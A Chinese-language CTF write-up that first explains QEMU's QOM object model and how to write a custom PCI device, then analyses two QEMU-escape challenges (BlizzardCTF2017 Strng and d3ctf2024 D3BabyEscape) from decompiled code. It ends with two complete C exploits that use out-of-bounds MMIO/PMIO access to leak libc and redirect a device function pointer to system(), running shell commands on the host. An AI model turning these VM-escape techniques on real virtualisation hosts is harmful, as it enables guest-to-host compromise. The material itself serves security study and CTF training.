// do something
}

static const TypeInfo my_type_info = {
.name = "my_type",
.parent = TYPE_OBJECT,
.class_size = sizeof(myClass),
.class_init = my_class_init,
.interfaces = (InterfaceInfo[]) {
{ },
},
}

Object - 类的实例对象

我们还需要定义一个相应的 Object 类型来表示一个实例对象,其包含有这个类实际的具体数据,且应当继承于对应的 Object 结构体类型,例如我们若是要定义一个新的机器类型,其实例类型应当继承自 MachineState

所有 Object 结构体类型的最终的父类都是 Object 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* Object:
*
* 所有对象的基类。该对象的第一个成员为一个指向 #ObjectClass 的指针。
* 因为 C 中将一个结构体的第一个成员组织在该结构体的 0 字节起始处,
* 只要任何的子类将其父类作为第一个成员,我们都能直接转化为一个 #Object.
*
* 因此, #Object 包含一个对对象类的引用作为其第一个成员。
* 这允许在运行时识别对象的真实类型
*/
struct Object
{
/*< private >*/
ObjectClass *class;
ObjectFree *free;
GHashTable *properties;
uint32_t ref;
Object *parent;
};

下面是一个示例:

1
2
3
4
5
struct myObject
{
/*< private >*/
Object parent;
}

完成 Object 的定义之后我们还应当在前面定义的 my_type_info 中添加上 Object size 与 Object 的构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static void my_object_init(Object *obj)
{
// 这里的 obj 参数便是动态创建的类型实例
// do something
}

static const TypeInfo my_type_info = {
.name = "my_type",
.parent = TYPE_OBJECT,
.instance_init = my_object_init,
.instance_size = sizeof(myObject),
.class_size = sizeof(myClass),
.class_init = my_class_init,
.interfaces = (InterfaceInfo[]) {
{ },
},
}

类的创建与释放

类似于在 C++ 当中使用 newdelete 来创建与释放一个类实例,在 QOM 中我们应当使用 object_new()object_delete() 来创建与销毁一个 QOM 类实例,本质上就是 分配/释放类空间 + 显示调用构造/析构函数

QOM 判断创建类实例的类型是通过类的名字,即 TypeInfo->name,当创建类实例时 Qemu 会遍历所有的 TypeInfo 并寻找名字匹配的那个,从而调用到对应的构造函数,并将其基类 Object->class 指向对应的 class

下面是一个示例:

1
2
3
4
// create a QOM object
myObject *myobj = object_new("my_type");
// delete a QOM object
object_delete(myobj);

QOM实例

Object与Class

这里以接下来要做的例题Strng为例,看看具体如何使用QOM写就一个PCI设备

首先是一个类的动态数据也就是Object部分,因为创建的是PCI设备,所以选择父类为PCIDevice

这里声明了两块内存mmiopmio,以及几个寄存器

1
2
3
4
5
6
7
8
9
10
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
MemoryRegion pmio;
uint32_t addr;
uint32_t regs[STRNG_MMIO_REGS];
void (*srand)(unsigned int seed);
int (*rand)(void);
int (*rand_r)(unsigned int *seed);
} STRNGState;

之后是Class部分,本题没有定义直接使用PCIDeviceClass

不过也有不少题目会选择创建一个空的class模板,例如

1
2
3
4
typedef struct STRNGClass {
/*< private >*/
PCIDeviceClass parent;
} STRNGClass;

然后还有将父类转为子类的宏,因为 QOM 基本函数传递的大都是父类指针,所以我们需要一个宏来进行类型检查 + 转型,这也是 Qemu 中惯用的做法:

1
#define STRNG(obj) OBJECT_CHECK(STRNGState, obj, "strng")

mmio/pmio读写函数

下面我们开始定义 MMIO 与 PMIO 的操作函数,并声明上两个 MemoryRegion 对应的函数表,需要注意的是这里传入的 hwaddr 类型参数其实为相对地址而非绝对地址:

mmio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static uint64_t strng_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *strng = opaque;

if (size != 4 || addr & 3)
return ~0ULL;

return strng->regs[addr >> 2];
}

static void strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *strng = opaque;
uint32_t saddr;

if (size != 4 || addr & 3)
return;

saddr = addr >> 2;
switch (saddr) {
case 0:
strng->srand(val);
break;

case 1:
strng->regs[saddr] = strng->rand();
break;

case 3:
strng->regs[saddr] = strng->rand_r(&strng->regs[2]);

default:
strng->regs[saddr] = val;
}
}

static const MemoryRegionOps strng_mmio_ops = {
.read = strng_mmio_read,
.write = strng_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};

pmio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *strng = opaque;
uint64_t val = ~0ULL;

if (size != 4)
return val;

switch (addr) {
case STRNG_PMIO_ADDR:
val = strng->addr;
break;

case STRNG_PMIO_DATA:
if (strng->addr & 3)
return val;

val = strng->regs[strng->addr >> 2];
}

return val;
}

static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *strng = opaque;
uint32_t saddr;

if (size != 4)
return;

switch (addr) {
case STRNG_PMIO_ADDR:
strng->addr = val;
break;

case STRNG_PMIO_DATA:
if (strng->addr & 3)
return;

saddr = strng->addr >> 2;
switch (saddr) {
case 0:
strng->srand(val);
break;

case 1:
strng->regs[saddr] = strng->rand();
break;

case 3:
strng->regs[saddr] = strng->rand_r(&strng->regs[2]);
break;

default:
strng->regs[saddr] = val;
}
}
}

static const MemoryRegionOps strng_pmio_ops = {
.read = strng_pmio_read,
.write = strng_pmio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};

初始化函数

然后是设备实例的初始化函数,在 PCIDeviceClass 当中定义了一个名为 realize 的函数指针,当 PCI 设备被载入时便会调用这个函数指针指向的函数来初始化

这里我们也定义一个自己的初始化函数,不过我们需要做的工作其实基本上就只有初始化两个 MemoryRegionmemory_region_init_io() 会为这两个 MemoryRegion 进行初始化的工作,并设置函数表为我们指定的函数表,pci_register_bar() 则用来注册 BAR:

1
2
3
4
5
6
7
8
9
static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);

memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

最后是 Class 与 Object(也就是 instance)的初始化函数,这里需要注意的是在 Class 的初始化函数中我们应当设置父类 PCIDeviceClass 的一系列基本属性(也就是 PCI 设备的基本属性):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void strng_instance_init(Object *obj)
{
STRNGState *strng = STRNG(obj);

strng->srand = srand;
strng->rand = rand;
strng->rand_r = rand_r;
}

static void strng_class_init(ObjectClass *class, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

k->realize = pci_strng_realize;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e9;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
}

注册

最最最后就是为我们的 PCI 设备类型注册 TypeInfo

有时候需要接口中增加PCI 的接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void pci_strng_register_types(void)
{
static const TypeInfo strng_info = {
.name = "strng",
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init,
/* .interfaces = (InterfaceInfo[]) {
{ INTERFACE_CONVENTIONAL_PCI_DEVICE },
{ },
}, */
};
type_register_static(&strng_info);
}
type_init(pci_strng_register_types)

编译

将编写好的源码放置于hw/misc/a3dev.c目录

在 meson 构建系统中加入我们新增的这个设备,在 hw/misc/meson.build 中加入如下语句:

1
softmmu_ss.add(when: 'CONFIG_PCI_STRNG', if_true: files('strng.c'))

并在 hw/misc/Kconfig 中添加如下内容,这表示我们的设备会在 CONFIG_PCI_DEVICES=y 时编译:

1
2
3
4
config PCI_STRNG
bool
default y if PCI_DEVICES
depends on PCI

之后编译 Qemu 并附加上 -device strng ,之后随便起一个 Linux 系统,此时使用 lspci 指令我们便能看到我们新添加的 pci 设备:

QEMU逃逸

QEMU 逃逸本质上和用户态的 Pwn 题没有太大区别,只不过呈现形式略有不同。题目本身通常以一个 QEMU 模拟设备的形式进行呈现,该设备通常会实现一些功能并提供用户可操纵的 MMIO/PMIO 接口。选手通常需要编写一个与这些接口进行交互的程序并传到远程主机上运行以完成利用(类似于内核 Pwn)。

几乎所有的 CTF QEMU Pwn 题都是自定义一个设备并定义相应的 MMIO/PMIO 操作。

BlizzardCTF2017 - Strng

题目的源码之前分析过,但实际做题的时候是没给源码的

分析

在启动脚本中发现添加了一个自定义设备

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

ida打开qemu文件,ida加载要有一会,加载符号那里记得选择确定,不然有很多符号会缺失

之后在字符串窗口搜索字符串strng

1
2
3
4
5
6
.rodata:000000000063E3D8	00000023	C	/home/rcvalle/qemu/hw/misc/strng.c
.rodata:000000000063E3FB 0000000B C strng-mmio
.rodata:000000000063E406 0000000B C strng-pmio
.rodata:000000000063E411 00000006 C strng
.rodata:000000000063E420 00000014 C strng_instance_init
.rodata:000000000063E440 00000011 C strng_class_init

结合这些信息,可以在函数栏搜索对应函数

1
2
3
4
5
6
7
__int64 __fastcall pci_strng_realize(__int64 a1)
{
memory_region_init_io(a1 + 2288, a1, strng_mmio_ops, a1, "strng-mmio", 256LL);
pci_register_bar(a1, 0LL, 0LL, a1 + 2288);
memory_region_init_io(a1 + 2544, a1, strng_pmio_ops, a1, "strng-pmio", 8LL);
return pci_register_bar(a1, 1LL, 1LL, a1 + 2544);
}

可以发现注册了mmio处理与pmio处理

1
2
3
4
5
6
7
8
9
uint64_t __fastcall strng_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

result = -1LL;
if ( size == 4 && (addr & 3) == 0 )
return *((unsigned int *)opaque + (addr >> 2) + 701);
return result;
}

opaque 参数其实就是设备加载时动态分配的 PCIDevice 类的一个自定义子类。

(u32*)opaque[701] 处存在一个 unsigned int 数组(这里我们称为 opaque->buf

MMIO 的 read 主要是简单的读取 opaque->buf[(addr >> 2)] 上的 4 字节内容,看起来似乎可以存在一个越界读取,但是在 QEMU 内部会检查 MR 访问范围(addr)是否超过定义的内存范围,所以其实是没法进行越界读取的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
hwaddr v4; // rsi
int v5; // eax
int vala; // [rsp+8h] [rbp-30h]

if ( size == 4 && (addr & 3) == 0 )
{
v4 = addr >> 2;
if ( (_DWORD)v4 == 1 )
{
*((_DWORD *)opaque + 702) = (*((__int64 (__fastcall **)(void *, hwaddr, uint64_t))opaque + 384))(opaque, v4, val);
}
else if ( (_DWORD)v4 )
{
if ( (_DWORD)v4 == 3 )
{
vala = val;
v5 = (*((__int64 (__fastcall **)(char *))opaque + 385))((char *)opaque + 2812);
LODWORD(val) = vala;
*((_DWORD *)opaque + 704) = v5;
}
*((_DWORD *)opaque + (unsigned int)v4 + 701) = val;
}
else
{
(*((void (__fastcall **)(_QWORD))opaque + 383))((unsigned int)val);
}
}
}
  • 地址为 0:将 (u64*)opaque[383] 处数据作为函数指针进行调用,参数为传入的值
  • 地址为 1 << 2:将 (u64*)opaque[384] 处数据作为函数指针进行调用,并将结果写入 opaque->buf[3]
  • 地址为 其他值 << 2:在 opaque->buf[(addr>>2)] 处写入传入的值
  • 若地址为 3 << 2,则会在此之前将 (u64*)opaque[385] 处数据作为函数指针进行调用,参数为 &((char*)opaque[2812]) ,并往 opaque->buf[3] 写入传入的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t __fastcall strng_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
unsigned int v4; // edx

result = -1LL;
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = *((_DWORD *)opaque + 700);
if ( (v4 & 3) == 0 )
return *((unsigned int *)opaque + (v4 >> 2) + 701);
}
}
else
{
return *((unsigned int *)opaque + 700);
}
}
return result;
}

PMIO 的 read 功能则是进行数据读取:

  • addr == 0 ,则返回 (unsigned int *)opaque[700] 的值。
  • addr == 4 ,则获取 (unsigned int *)opaque[700] 的值 v4,若低 2 位为 0 则返回 opaque->buf[(v4 >> 2)] 上数据。

若我们能够控制 (unsigned int *)opaque[700] 的值,则可以直接完成一个越界读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int v4; // eax
__int64 v5; // rax

if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = *((_DWORD *)opaque + 700);
if ( (v4 & 3) == 0 )
{
v5 = v4 >> 2;
if ( (_DWORD)v5 == 1 )
{
*((_DWORD *)opaque + 702) = (*((__int64 (__fastcall **)(void *, __int64, uint64_t))opaque + 384))(
opaque,
4LL,
val);
}
else if ( (_DWORD)v5 )
{
if ( (_DWORD)v5 == 3 )
*((_DWORD *)opaque + 704) = (*((__int64 (__fastcall **)(char *, __int64, uint64_t))opaque + 385))(
(char *)opaque + 2812,
4LL,
val);
else
*((_DWORD *)opaque + v5 + 701) = val;
}
else
{
(*((void (__fastcall **)(_QWORD))opaque + 383))((unsigned int)val);
}
}
}
}
else
{
*((_DWORD *)opaque + 700) = val;
}
}
}

PMIO 的 write 功能定义如下:

  • addr == 0,则将传入的值写入 (unsigned int *)opaque[700] ,因此结合 PMIO read 我们便可以完成越界读。
  • addr == 4,则获取 (unsigned int *)opaque[700] 的值 v4,若低 2 位为 0 则取 v5 = v4 >>2
  • v5 == 1,则调用 (u64*)opaque[384] 处函数指针,返回值写入 opaque->buf[1],参数见代码
  • v5 == 3,则调用 (u64*)opaque[385] 处函数指针,返回值写入 opaque->buf[3],参数见代码
  • v5 != 0,则将传入的值写入 opaque->buf[v5]
  • v5 == 1,则调用 (u64*)opaque[383] 处函数指针,参数为我们传入的值

漏洞利用

由于 PMIO read 功能的读取地址由 (unsigned int *)opaque[700] 决定,而该值可以通过 PMIO write 写入 addr == 0 处进行修改

由于题目一开始便在 opaque 靠后的放置了一些libc指针,因此我们可以通过读取这些函数指针泄露 libc 基址。

同样地,当 addr == 4 时,PMIO write 会向指定地址 + 偏移处写入数据,而该偏移值为我们可控的 (unsigned int *)opaque[700],因此我们可以非常方便地劫持 opaque 上的函数指针,而这些函数指针又可以通过 MMIO write 与 PMIO write 进行触发,因此不难想到的是我们可以通过劫持这些函数指针来完成控制流劫持。

(unsigned int *)opaque[700] == 3 时,调用函数指针会传入一个 opaque 上地址作为第一个参数,而该处数据同样是我们可控的,因此我们可以在该处先写入字符串后再劫持函数指针为 system() 后直接调用即可完成 Host 上的任意命令执行。

交互

QEMU pwn 题会提供给我们一个 local Linux 环境,通常都有着 root 权限(除了一些套娃题目会要求选手先完成提权),通常我们需要使用 C 编写 exp,将其进行静态编译后传输到远程运行。有的题目也会提供本地编译环境(例如本题),这样我们便只需要传输 exp 的源代码到远程再编译运行即可。

首先说一下与题目进行交互的方式。QEMU pwn 的漏洞通常出现在一个自定义 PCI 设备中,我们可以通过 lspci 命令查看现有的 PCI 设备,在每个设备开头都可以看到形如 xx:yy.z 的十六进制编号,这个格式其实是 总线编号:设备编号.功能编号,当我们使用 lspci -v查看 PCI 设备信息时,在总线编号前面的 4 位数字便是 PCI 域的编号。

通常我们可以看到一个未被识别的设备,这通常便是题目设备。这里我们可以看到 PMIO 地址为 0xc050,MMIO 地址(物理地址)为 0xfebf1000

1
2
3
4
5
6
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]

PMIO

先通过 iopl(3) 获取交互权限,接下来直接使用 in()out() 系函数即可读写端口,需要注意的是端口地址应与读写长度对齐(例如读写 4 字节则端口地址需要对齐到 4

MMIO

通过 mmap() 映射 sysfs 下的资源文件来完成内存访问。以本题为例,通过 lspci 命令获取到的编号为 00:03.0,那么我们便可以通过 mmap() 映射 /sys/devices/pci0000:00/0000:00:03.0/resource0 文件直接完成 MMIO。类似于 PMIO,MMIO 的读写地址同样需要对齐到读写长度。

同样的,其实也可以通过映射 /sys/devices/pci0000:00/0000:00:03.0/resource1 文件的形式来以内存读写的形式完成 PMIO。

exp

来自wiki

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/io.h>

#define STRNG_MMIO_REGS 64
#define STRNG_MMIO_SIZE (STRNG_MMIO_REGS * sizeof(uint32_t))

#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4
#define STRNG_PMIO_REGS STRNG_MMIO_REGS
#define STRNG_PMIO_SIZE 8

char calc_str[0x100] = ";cat ./flag";
char sh_str[0x100] = "/bin/sh";

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void mmio_write(uint32_t *addr, uint32_t val)
{
*addr = val;
}

uint32_t mmio_read(uint32_t *addr)
{
return *addr;
}

void pmio_write(uint32_t port, uint32_t val)
{
outl(val, port);
}

uint32_t pmio_read(uint32_t port)
{
return inl(port);
}

int main(int argc, char **argv, char **envp)
{
uint64_t mmio_addr;
uint32_t pmio_port = 0xc050;
int mmio_fd;
uint32_t srand_addr_low, srand_addr_high;
uint64_t srand_addr;
uint64_t libc_addr;
uint64_t system_addr;

/*
* initialization
*/
mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0",
O_RDWR | O_SYNC);
if (mmio_fd < 0) {
errExit("failed to open mmio file! wrong path or no root?");
}

if (iopl(3) < 0) {
errExit("failed to change i/o privilege! no root?");
}

mmio_addr = (uint64_t)
mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_addr == MAP_FAILED) {
errExit("failed to mmap mmio space!");
}

/*
* regs[3] is not writable, because for addr 3 the rand_r() will be called
* so we fill some useless string there
*/
for (int i = 0; i < 4; i++)
mmio_write((uint32_t*)(mmio_addr + ((2 + i) << 2)), (uint32_t*)"aaaa");

for (int i = 0; i < 10; i++)
mmio_write((uint32_t*)(mmio_addr + ((6 + i) << 2)), ((uint32_t*)calc_str)[i]);

/*
* exploitation
*/

/*
* Stage.I - leaking libc addr
* set the strng->addr by pmio_write to a oob val
* so that we can make an oob read by pmio_read
*/
puts("[*] Stage.I - leaking libc addr\n");

pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 1) << 2);
srand_addr_low = pmio_read(pmio_port + STRNG_PMIO_DATA);
pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 2) << 2);
srand_addr_high = pmio_read(pmio_port + STRNG_PMIO_DATA);

srand_addr = srand_addr_high;
srand_addr <<= 32;
srand_addr += srand_addr_low;
libc_addr = srand_addr - 0x460a0;
system_addr = libc_addr + 0x50d60;

printf("[+] get addr of srand: 0x%llx\n", srand_addr);
printf("[+] libc addr: 0x%llx\n", libc_addr);
printf("[+] system addr: 0x%llx\n", system_addr);

/*
* Stage.II - overwrite the rand_r ptr
* set the strng->rand_r to system by oob write in pmio
*/
puts("\n[*] Stage.II - overwrite the rand_r ptr\n");

pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 5) << 2);
pmio_write(pmio_port + STRNG_PMIO_DATA, (uint32_t) system_addr);
pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 6) << 2);
pmio_write(pmio_port + STRNG_PMIO_DATA, (uint32_t) (system_addr >> 32));

puts("[+] write done!");

/*
* Stage.III - control flow hijack!
* call the strng->rand_r by pmio_write and hijack the control flow!
*/
puts("\n[*] Stage.III - control flow hijack\n");

puts("[*] trigger the strng->rand_r()...");
pmio_write(pmio_port + STRNG_PMIO_ADDR, 3 << 2);
pmio_write(pmio_port + STRNG_PMIO_DATA, 0xdeadbeef);

}

d3ctf2024-D3BabyEscape

前几天的d3ctf,还热乎的题目,十分适合新手

1
This challenge is very easy and could be used as an entry-level study for qemu escape.

看启动脚本,添加了一个自定义的设备l0dev

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
./qemu-system-x86_64 \
-L ../pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-device l0dev

ida打开qemu文件,搜索字符串l0dev

1
2
3
4
5
6
7
8
9
10
.rodata:0000000000AC4201	0000001E	C	../qemu-7.0.0/hw/misc/l0dev.c
.rodata:0000000000AC421F 00000006 C l0dev
.rodata:0000000000AC4225 0000000B C l0dev-mmio
.rodata:0000000000AC4230 0000000B C l0dev-pmio
.rodata:0000000000AC4270 00000010 C l0dev_mmio_read
.rodata:0000000000AC4280 00000010 C l0dev_pmio_read
.rodata:0000000000AC4290 00000011 C l0dev_mmio_write
.rodata:0000000000AC42B0 00000011 C l0dev_pmio_write
.rodata:0000000000AC42C8 0000000E C l0dev_realize
.rodata:0000000000AC42E0 00000014 C l0dev_instance_init

比较难绷的是qemu并没有调试符号

所以并不能直接搜索到l0dev的函数,但影响不大,通过字符串引用照样能找到对应的函数

mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_4809AE(const char ****a1, unsigned __int64 addr, unsigned int len)
{
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
const char ****v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
v6 = sub_7F810F(a1, (__int64)"l0dev", (__int64)"../qemu-7.0.0/hw/misc/l0dev.c", 0x52u, (__int64)"l0dev_mmio_read");
dest = -1LL;
v7 = addr >> 3;
if ( len > 8 )
return dest;
if ( 8 * v7 + len <= 0x100 )
memcpy(&dest, (char *)v6 + (unsigned int)(*((_DWORD *)v6 + 640) + addr) + 3124, len);
return dest;
}

对申请地址进行8字节对齐,然后地址范围不允许超过0x100

之后将v6+v6[640]+addr+3124处的数据复制到dest并返回,此处就潜藏着内存越界的风险

mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const char ****__fastcall sub_480B84(const char ****a1, const char ****addr, __int64 val, unsigned int a4)
{
const char ****result; // rax
unsigned int len; // [rsp+4h] [rbp-3Ch]
_QWORD n_4[3]; // [rsp+8h] [rbp-38h] BYREF
unsigned int v7; // [rsp+24h] [rbp-1Ch]
const char ****dev; // [rsp+28h] [rbp-18h]
unsigned __int64 v9; // [rsp+30h] [rbp-10h]
__int64 v10; // [rsp+38h] [rbp-8h]

n_4[2] = a1;
n_4[1] = addr;
n_4[0] = val;
len = a4;
dev = sub_7F810F(a1, (__int64)"l0dev", (__int64)"../qemu-7.0.0/hw/misc/l0dev.c", 0x85u, (__int64)"l0dev_mmio_write");
v9 = (unsigned __int64)addr >> 3;
result = addr;
v7 = (unsigned int)addr;
if ( len <= 8 )
{
result = (const char ****)(8 * v9 + len);
if ( (unsigned __int64)result <= 0x100 )
{
if ( v7 == 64 )
{
v10 = n_4[0];
v7 = ((int (__fastcall *)(_QWORD *))dev[425])(n_4) % 256;
return (const char ****)memcpy((char *)dev + v7 + 3124, n_4, len);
}
else if ( v7 == 128 )
{
result = (const char ****)n_4[0];
if ( n_4[0] <= 0x100uLL )
{
result = dev;
*((_DWORD *)dev + 640) = n_4[0];
}
}
else
{
return (const char ****)memcpy((char *)dev + v7 + 3124, n_4, len);
}
}
}
return result;
}

128分支能够修改dev[640],内存越界读已经找到

64分支存在函数调用,参数为指向val的指针

pmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_480A92(const char ****a1, unsigned __int64 a2, unsigned int a3)
{
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
const char ****v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
v6 = sub_7F810F(a1, (__int64)"l0dev", (__int64)"../qemu-7.0.0/hw/misc/l0dev.c", 0x68u, (__int64)"l0dev_pmio_read");
dest = -1LL;
v7 = a2 >> 3;
if ( a3 > 8 )
return dest;
if ( 8 * v7 + a3 > 0x100 )
return dest;
memcpy(&dest, (char *)v6 + (unsigned int)a2 + 3124, a3);
if ( (_DWORD)dest == 666 )
++backdoor;
return dest;
}

似乎存在一个后门开启

pmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void *__fastcall sub_480CBD(const char ****a1, unsigned __int64 a2, __int64 a3, int a4)
{
void *result; // rax
_DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF
unsigned __int64 v6; // [rsp+10h] [rbp-30h]
const char ****v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
const char ****v9; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]

v7 = a1;
v6 = a2;
*(_QWORD *)&n[1] = a3;
n[0] = a4;
v9 = sub_7F810F(a1, (__int64)"l0dev", (__int64)"../qemu-7.0.0/hw/misc/l0dev.c", 0xADu, (__int64)"l0dev_pmio_write");
if ( backdoor )
return memcpy((char *)v9 + (unsigned int)(*((_DWORD *)v9 + 640) + v6) + 3124, &n[1], n[0]);
result = (void *)(v6 >> 3);
v10 = v6 >> 3;
if ( n[0] <= 8u )
{
result = (void *)(8 * v10 + n[0]);
if ( (unsigned __int64)result <= 0x100 )
{
v8 = v6;
return memcpy((char *)v9 + (unsigned int)v6 + 3124, &n[1], n[0]);
}
}
return result;
}

果然发现了后门,越界写也已经找到了,那接下来就是泄露libc,然后劫持执行流,跟上一题差不多就不多说了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>

void* mmio;
uint32_t port_base = 0xc000;

void pmio_write(uint32_t port, uint32_t val) {
outl(val, port_base + port);
}

uint32_t pmio_read(uint32_t port) {
return (uint32_t)inl(port_base + port);
}

void mmio_write(uint64_t addr, uint64_t value) {
*(uint64_t*)(mmio + addr) = value;
}

uint64_t mmio_read(uint64_t addr) {
return *(uint64_t*)(mmio + addr);
}

int main() {
if (iopl(3) != 0) {
printf("I/O permission is not enough\n");
return 1;
}
int mmio_fd =
open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

uint64_t u64cmd;
const char* cmd = "sh";
strcpy(&u64cmd, cmd);

mmio_write(0, 666);
uint32_t num = pmio_read(0);

mmio_write(0x80, 0x100);
uint64_t libc_base = mmio_read(0x14) - 0x1e780;
printf("libc_base:\t0x%llx\n", libc_base);
if (libc_base == 0 || (libc_base & 0xFFF) != 0) {
return 1;
}
uint64_t system_addr = libc_base + 0x28d70;
pmio_write(0x14, system_addr & 0xFFFFFFFF);
pmio_write(0x18, system_addr >> 32);

mmio_write(0x40, u64cmd);
return 0;
}